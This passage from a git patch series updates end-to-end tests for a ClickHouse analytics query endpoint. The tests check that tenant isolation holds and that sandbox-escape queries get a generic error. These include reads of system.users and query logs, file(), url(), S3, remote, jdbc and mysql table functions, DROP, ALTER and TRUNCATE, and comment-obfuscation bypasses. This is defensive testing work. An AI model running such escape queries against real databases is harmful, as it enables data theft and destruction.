+            "active_on_fly_alter_mutations": 0,
+            "active_on_fly_data_mutations": 0,
+            "active_on_fly_metadata_mutations": 0,
+            "active_parts": 1,
+            "as_select": "",
+            "comment": "",
+            "create_table_query": "CREATE TABLE analytics.events (\`event_type\` LowCardinality(String), \`event_at\` DateTime64(3, 'UTC'), \`data\` JSON, \`project_id\` String, \`branch_id\` String, \`user_id\` String, \`team_id\` String, \`refresh_token_id\` String, \`is_anonymous\` Bool, \`session_id\` String, \`ip_address\` String, \`created_at\` DateTime64(3, 'UTC') DEFAULT now64(3)) ENGINE = MergeTree PARTITION BY toYYYYMM(event_at) ORDER BY (project_id, branch_id, event_at) SETTINGS index_granularity = 8192",
+            "data_paths": ["/var/lib/clickhouse/store/196/<stripped UUID>/"],
+            "database": "analytics",
+            "definer": "",
+            "dependencies_database": [],
+            "dependencies_table": [],
+            "engine": "MergeTree",
+            "engine_full": "MergeTree PARTITION BY toYYYYMM(event_at) ORDER BY (project_id, branch_id, event_at) SETTINGS index_granularity = 8192",
+            "has_own_data": 1,
+            "is_temporary": 0,
+            "lifetime_bytes": null,
+            "lifetime_rows": null,
+            "loading_dependencies_database": [],
+            "loading_dependencies_table": [],
+            "loading_dependent_database": [],
+            "loading_dependent_table": [],
+            "metadata_modification_time": "2025-12-18 22:02:53",
+            "metadata_path": "store/c9c/<stripped UUID>/events.sql",
+            "metadata_version": 0,
+            "name": "events",
+            "parameterized_view_parameters": [],
+            "partition_key": "toYYYYMM(event_at)",
+            "parts": 1,
+            "primary_key": "project_id, branch_id, event_at",
+            "sampling_key": "",
+            "sorting_key": "project_id, branch_id, event_at",
+            "storage_policy": "default",
+            "total_bytes": 7328,
+            "total_bytes_uncompressed": 33374,
+            "total_marks": 2,
+            "total_rows": 128,
+            "uuid": "<stripped UUID>",
           },
         ],
         "stats": {
@@ -585,8 +622,8 @@ it("does not allow accessing system tables via subquery", async ({ expect }) =>
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT for at least one column on system.users. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT for at least one column on system.users. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -606,8 +643,8 @@ it("does not allow UNION to access restricted data", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(number) ON system.numbers. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(number) ON system.numbers. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -627,8 +664,8 @@ it("does not allow file system access via file() function", async ({ expect }) =
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON FILE. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON FILE. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -648,8 +685,8 @@ it("does not allow network access via url() function", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON URL. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON URL. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -669,8 +706,8 @@ it("does not allow remote table access", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON REMOTE. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON REMOTE. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -690,8 +727,8 @@ it("does not allow cluster table access", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON REMOTE. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON REMOTE. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -740,8 +777,8 @@ it("does not allow CTE to bypass restrictions", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -761,8 +798,8 @@ it("does not allow accessing tables of other databases", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Unknown table expression identifier 'analytics.some_table' in scope SELECT * FROM analytics.some_table. " },
-        "error": "The query failed to execute: Unknown table expression identifier 'analytics.some_table' in scope SELECT * FROM analytics.some_table. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -778,15 +815,12 @@ it("does not allow accessing information_schema", async ({ expect }) => {
   });
 
   expect(response).toMatchInlineSnapshot(`
-    TODO: THIS SHOULD NOT LEAK THE COLUMN INFORMATION
-
-
     NiceResponse {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(table_catalog, table_schema, table_name, table_type, table_rows, data_length, index_length, table_collation, table_comment, TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE, TABLE_ROWS, DATA_LENGTH, TABLE_COLLATION, TABLE_COMMENT) ON information_schema.tables. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(table_catalog, table_schema, table_name, table_type, table_rows, data_length, index_length, table_collation, table_comment, TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE, TABLE_ROWS, DATA_LENGTH, TABLE_COLLATION, TABLE_COMMENT) ON information_schema.tables. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -806,8 +840,8 @@ it("does not allow dictionary access", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Dictionary (\`some_dict\`) not found: In scope SELECT dictGet('some_dict', 'value', 'key'). " },
-        "error": "The query failed to execute: Dictionary (\`some_dict\`) not found: In scope SELECT dictGet('some_dict', 'value', 'key'). ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -827,8 +861,8 @@ it("does not allow query log snooping", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(query) ON system.query_log. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(query) ON system.query_log. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -890,8 +924,8 @@ it("does not allow S3 access", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON S3. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON S3. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -911,8 +945,8 @@ it("does not allow executable table function", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TEMPORARY TABLE ON *.*. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TEMPORARY TABLE ON *.*. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -932,8 +966,8 @@ it("does not allow comment obfuscation to bypass restrictions", async ({ expect
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -953,8 +987,8 @@ it("does not allow comment obfuscation in table names", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -974,8 +1008,8 @@ it("does not allow creating materialized views", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE VIEW ON default.evil. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE VIEW ON default.evil. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1016,8 +1050,8 @@ it("does not allow DROP TABLE", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant DROP TABLE ON analytics.events. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant DROP TABLE ON analytics.events. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1037,8 +1071,8 @@ it("does not allow ALTER TABLE", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant ALTER ADD COLUMN(malicious) ON analytics.events. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant ALTER ADD COLUMN(malicious) ON analytics.events. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1058,8 +1092,8 @@ it("does not allow TRUNCATE TABLE", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant TRUNCATE ON analytics.events. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant TRUNCATE ON analytics.events. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1121,8 +1155,8 @@ it("does not allow accessing system.users", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1132,6 +1166,7 @@ it("does not allow accessing system.users", async ({ expect }) => {
   `);
 });
 
+
 it("does not allow accessing system.processes", async ({ expect }) => {
   const response = await runQuery({
     query: "SELECT * FROM system.processes",
@@ -1142,8 +1177,8 @@ it("does not allow accessing system.processes", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(is_initial_query, user, query_id, address, port, initial_user, initial_query_id, initial_address, initial_port, interface, os_user, client_hostname, client_name, client_revision, client_version_major, client_version_minor, client_version_patch, http_method, http_user_agent, http_referer, forwarded_for, quota_key, distributed_depth, elapsed, is_cancelled, is_all_data_sent, read_rows, read_bytes, total_rows_approx, written_rows, written_bytes, memory_usage, peak_memory_usage, query, normalized_query_hash, query_kind, thread_ids, ProfileEvents, Settings, current_database) ON system.processes. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(is_initial_query, user, query_id, address, port, initial_user, initial_query_id, initial_address, initial_port, interface, os_user, client_hostname, client_name, client_revision, client_version_major, client_version_minor, client_version_patch, http_method, http_user_agent, http_referer, forwarded_for, quota_key, distributed_depth, elapsed, is_cancelled, is_all_data_sent, read_rows, read_bytes, total_rows_approx, written_rows, written_bytes, memory_usage, peak_memory_usage, query, normalized_query_hash, query_kind, thread_ids, ProfileEvents, Settings, current_database) ON system.processes. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1163,8 +1198,8 @@ it("does not allow input() function", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TEMPORARY TABLE ON *.*. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TEMPORARY TABLE ON *.*. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1179,7 +1214,20 @@ it("does not allow generateRandom table function", async ({ expect }) => {
     query: "SELECT * FROM generateRandom('x UInt64') LIMIT 1000000000",
   });
 
-  expect(response).toMatchInlineSnapshot();
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Limit for result exceeded, max rows: 10.00 thousand, current rows: 65.41 thousand. " },
+        "error": "The query failed to execute: Limit for result exceeded, max rows: 10.00 thousand, current rows: 65.41 thousand. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
 });
 
 it("does not allow numbers table function with large values", async ({ expect }) => {
@@ -1187,7 +1235,20 @@ it("does not allow numbers table function with large values", async ({ expect })
     query: "SELECT * FROM numbers(1000000000)",
   });
 
-  expect(response).toMatchInlineSnapshot();
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Limit for result exceeded, max rows: 10.00 thousand, current rows: 65.41 thousand. " },
+        "error": "The query failed to execute: Limit for result exceeded, max rows: 10.00 thousand, current rows: 65.41 thousand. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
 });
 
 it("does not allow jdbc table function", async ({ expect }) => {
@@ -1195,7 +1256,20 @@ it("does not allow jdbc table function", async ({ expect }) => {
     query: "SELECT * FROM jdbc('jdbc:mysql://localhost:3306/db', 'table')",
   });
 
-  expect(response).toMatchInlineSnapshot();
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
 });
 
 it("does not allow mysql table function", async ({ expect }) => {
@@ -1203,7 +1277,20 @@ it("does not allow mysql table function", async ({ expect }) => {
     query: "SELECT * FROM mysql('localhost:3306', 'database', 'table', 'user', 'password')",
   });
 
-  expect(response).toMatchInlineSnapshot();
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
 });
 
 it("does not allow postgresql table function", async ({ expect }) => {
@@ -1211,5 +1298,18 @@ it("does not allow postgresql table function", async ({ expect }) => {
     query: "SELECT * FROM postgresql('localhost:5432', 'database', 'table', 'user', 'password')",
   });
 
-  expect(response).toMatchInlineSnapshot();
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
 });

From ba8110f5894b5ff23ec800a80af725c90a5351a2 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Fri, 19 Dec 2025 11:31:36 -0800
Subject: [PATCH 17/25] fix tests

---
 apps/backend/scripts/clickhouse-migrations.ts |  8 +-
 apps/backend/src/lib/events.tsx               |  2 +-
 .../endpoints/api/v1/analytics-events.test.ts | 84 ++++++++++---------
 .../endpoints/api/v1/analytics-query.test.ts  | 62 --------------
 4 files changed, 48 insertions(+), 108 deletions(-)

diff --git a/apps/backend/scripts/clickhouse-migrations.ts b/apps/backend/scripts/clickhouse-migrations.ts
index 4233df30f8..c94d4df68c 100644
--- a/apps/backend/scripts/clickhouse-migrations.ts
+++ b/apps/backend/scripts/clickhouse-migrations.ts
@@ -11,14 +11,14 @@ export async function runClickhouseMigrations() {
   });
   // todo: create migration files
   await client.exec({ query: EVENTS_TABLE_BASE_SQL });
-  await client.exec({
-    query: "CREATE ROW POLICY IF NOT EXISTS events_project_isolation ON events FOR SELECT USING project_id = getSetting('SQL_project_id') AND branch_id = getSetting('SQL_branch_id') TO limited_user",
-  });
   const queries = [
     "REVOKE ALL PRIVILEGES ON *.* FROM limited_user;",
     "REVOKE ALL FROM limited_user;",
     "GRANT SELECT ON analytics.events TO limited_user;",
   ];
+  await client.exec({
+    query: "CREATE ROW POLICY IF NOT EXISTS events_project_isolation ON analytics.events FOR SELECT USING project_id = getSetting('SQL_project_id') AND branch_id = getSetting('SQL_branch_id') TO limited_user",
+  });
   for (const query of queries) {
     await client.exec({ query });
   }
@@ -27,7 +27,7 @@ export async function runClickhouseMigrations() {
 }
 
 const EVENTS_TABLE_BASE_SQL = `
-CREATE TABLE IF NOT EXISTS events (
+CREATE TABLE IF NOT EXISTS analytics.events (
     event_type       LowCardinality(String),
     event_at         DateTime64(3, 'UTC'),
     data             JSON,
diff --git a/apps/backend/src/lib/events.tsx b/apps/backend/src/lib/events.tsx
index 5ebe124e2c..ea8290eb6f 100644
--- a/apps/backend/src/lib/events.tsx
+++ b/apps/backend/src/lib/events.tsx
@@ -197,7 +197,7 @@ export async function logEvent<T extends EventType[]>(
 
     const clickhouseClient = clickhouseAdminClient;
     await clickhouseClient.insert({
-      table: "events",
+      table: "analytics.events",
       values: eventTypesArray.map(eventType => ({
         event_type: eventType.id,
         event_at: timeRange.end,
diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts
index a454d3a68c..a63bb9bf94 100644
--- a/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts
+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts
@@ -4,7 +4,6 @@ import { Auth, Project, backendContext, bumpEmailAddress, niceBackendFetch } fro
 
 const queryEvents = async (params: {
   userId?: string,
-  teamId?: string,
   eventType?: string,
 }) => await niceBackendFetch("/api/v1/internal/analytics/query", {
   method: "POST",
@@ -15,28 +14,26 @@ const queryEvents = async (params: {
       FROM analytics.events
       WHERE 1
         ${params.userId ? "AND user_id = {user_id:String}" : ""}
-        ${params.teamId ? "AND team_id = {team_id:String}" : ""}
         ${params.eventType ? "AND event_type = {event_type:String}" : ""}
       ORDER BY event_at DESC
       LIMIT 10
     `,
     params: {
       ...(params.userId ? { user_id: params.userId } : {}),
-      ...(params.teamId ? { team_id: params.teamId } : {}),
       ...(params.eventType ? { event_type: params.eventType } : {}),
     },
   },
 });
 
 const fetchEventsWithRetry = async (
-  params: { userId?: string, teamId?: string, eventType?: string },
+  params: { userId?: string, eventType?: string },
   options: { attempts?: number, delayMs?: number } = {}
 ) => {
   const attempts = options.attempts ?? 5;
   const delayMs = options.delayMs ?? 250;
 
   let response = await queryEvents(params);
-  for (let attempt = 1; attempt < attempts; attempt++) {
+  for (let attempt = 0; attempt < attempts; attempt++) {
     if (response.status !== 200) {
       break;
     }
@@ -56,24 +53,11 @@ it("stores backend events in ClickHouse", async ({ expect }) => {
   const { projectId } = await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   const { userId } = await Auth.Otp.signIn();
 
-  const fetchEvents = async () => await queryEvents({
+  const queryResponse = await fetchEventsWithRetry({
     userId,
     eventType: "$session-activity",
   });
 
-  let queryResponse = await fetchEvents();
-  for (let attempt = 0; attempt < 3; attempt++) {
-    if (queryResponse.status !== 200) {
-      throw new Error(`Analytics query failed: ${JSON.stringify(queryResponse.body)}`);
-    }
-    const results = Array.isArray(queryResponse.body?.result) ? queryResponse.body.result : [];
-    if (results.length > 0) {
-      break;
-    }
-    await wait(500);
-    queryResponse = await fetchEvents();
-  }
-
   expect(queryResponse.status).toBe(200);
   const results = Array.isArray(queryResponse.body?.result) ? queryResponse.body.result : [];
   expect(results.length).toBeGreaterThan(0);
@@ -86,30 +70,39 @@ it("stores backend events in ClickHouse", async ({ expect }) => {
 });
 
 it("cannot read events from other projects", async ({ expect }) => {
-  const projectA = await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   const projectAKeys = backendContext.value.projectKeys;
   await Auth.Otp.signIn();
 
   // Switch to another project and generate its own event
-  const projectB = await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   const { userId: projectBUserId } = await Auth.Otp.signIn();
-  const ensureProjectBEvent = async () => {
-    let response = await queryEvents({
-      userId: projectBUserId,
-      eventType: "$session-activity",
-    });
-    for (let attempt = 0; attempt < 3 && Array.isArray(response.body?.result) && response.body.result.length === 0; attempt++) {
-      await wait(250);
-      response = await queryEvents({
-        userId: projectBUserId,
-        eventType: "$session-activity",
-      });
+  const projectBResponse = await fetchEventsWithRetry({
+    userId: projectBUserId,
+    eventType: "$session-activity",
+  });
+  expect(projectBResponse).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [
+          {
+            "branch_id": "main",
+            "event_type": "$session-activity",
+            "project_id": "<stripped UUID>",
+            "team_id": "",
+            "user_id": "<stripped UUID>",
+          },
+        ],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
     }
-    expect(response.status).toBe(200);
-    const results = Array.isArray(response.body?.result) ? response.body.result : [];
-    expect(results.length).toBeGreaterThan(0);
-  };
-  await ensureProjectBEvent();
+  `);
+
 
   // Switch back to project A context
   backendContext.set({ projectKeys: projectAKeys, userAuth: null });
@@ -118,10 +111,19 @@ it("cannot read events from other projects", async ({ expect }) => {
     userId: projectBUserId,
     eventType: "$session-activity",
   });
-
-  expect(queryResponse.status).toBe(200);
-  const results = Array.isArray(queryResponse.body?.result) ? queryResponse.body.result : [];
-  expect(results.length).toBe(0);
+  expect(queryResponse).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
+    }
+  `);
 });
 
 it("filters analytics events by user within a project", async ({ expect }) => {
diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
index 36c1841407..72167cfca7 100644
--- a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
@@ -447,68 +447,6 @@ it("can see only some tables", async ({ expect }) => {
   `);
 });
 
-it("can see tables, but only limited metadata", async ({ expect }) => {
-  const response = await runQuery({
-    query: "SELECT * FROM system.tables",
-  });
-
-  // NOTE: make sure the metadata below does not contain any information about other rows when you update this snapshot
-  expect(response).toMatchInlineSnapshot(`
-    NiceResponse {
-      "status": 200,
-      "body": {
-        "result": [
-          {
-            "active_on_fly_alter_mutations": 0,
-            "active_on_fly_data_mutations": 0,
-            "active_on_fly_metadata_mutations": 0,
-            "active_parts": 1,
-            "as_select": "",
-            "comment": "",
-            "create_table_query": "CREATE TABLE analytics.events (\`event_type\` LowCardinality(String), \`event_at\` DateTime64(3, 'UTC'), \`data\` JSON, \`project_id\` String, \`branch_id\` String, \`user_id\` String, \`team_id\` String, \`refresh_token_id\` String, \`is_anonymous\` Bool, \`session_id\` String, \`ip_address\` String, \`created_at\` DateTime64(3, 'UTC') DEFAULT now64(3)) ENGINE = MergeTree PARTITION BY toYYYYMM(event_at) ORDER BY (project_id, branch_id, event_at) SETTINGS index_granularity = 8192",
-            "data_paths": ["/var/lib/clickhouse/store/196/<stripped UUID>/"],
-            "database": "analytics",
-            "definer": "",
-            "dependencies_database": [],
-            "dependencies_table": [],
-            "engine": "MergeTree",
-            "engine_full": "MergeTree PARTITION BY toYYYYMM(event_at) ORDER BY (project_id, branch_id, event_at) SETTINGS index_granularity = 8192",
-            "has_own_data": 1,
-            "is_temporary": 0,
-            "lifetime_bytes": null,
-            "lifetime_rows": null,
-            "loading_dependencies_database": [],
-            "loading_dependencies_table": [],
-            "loading_dependent_database": [],
-            "loading_dependent_table": [],
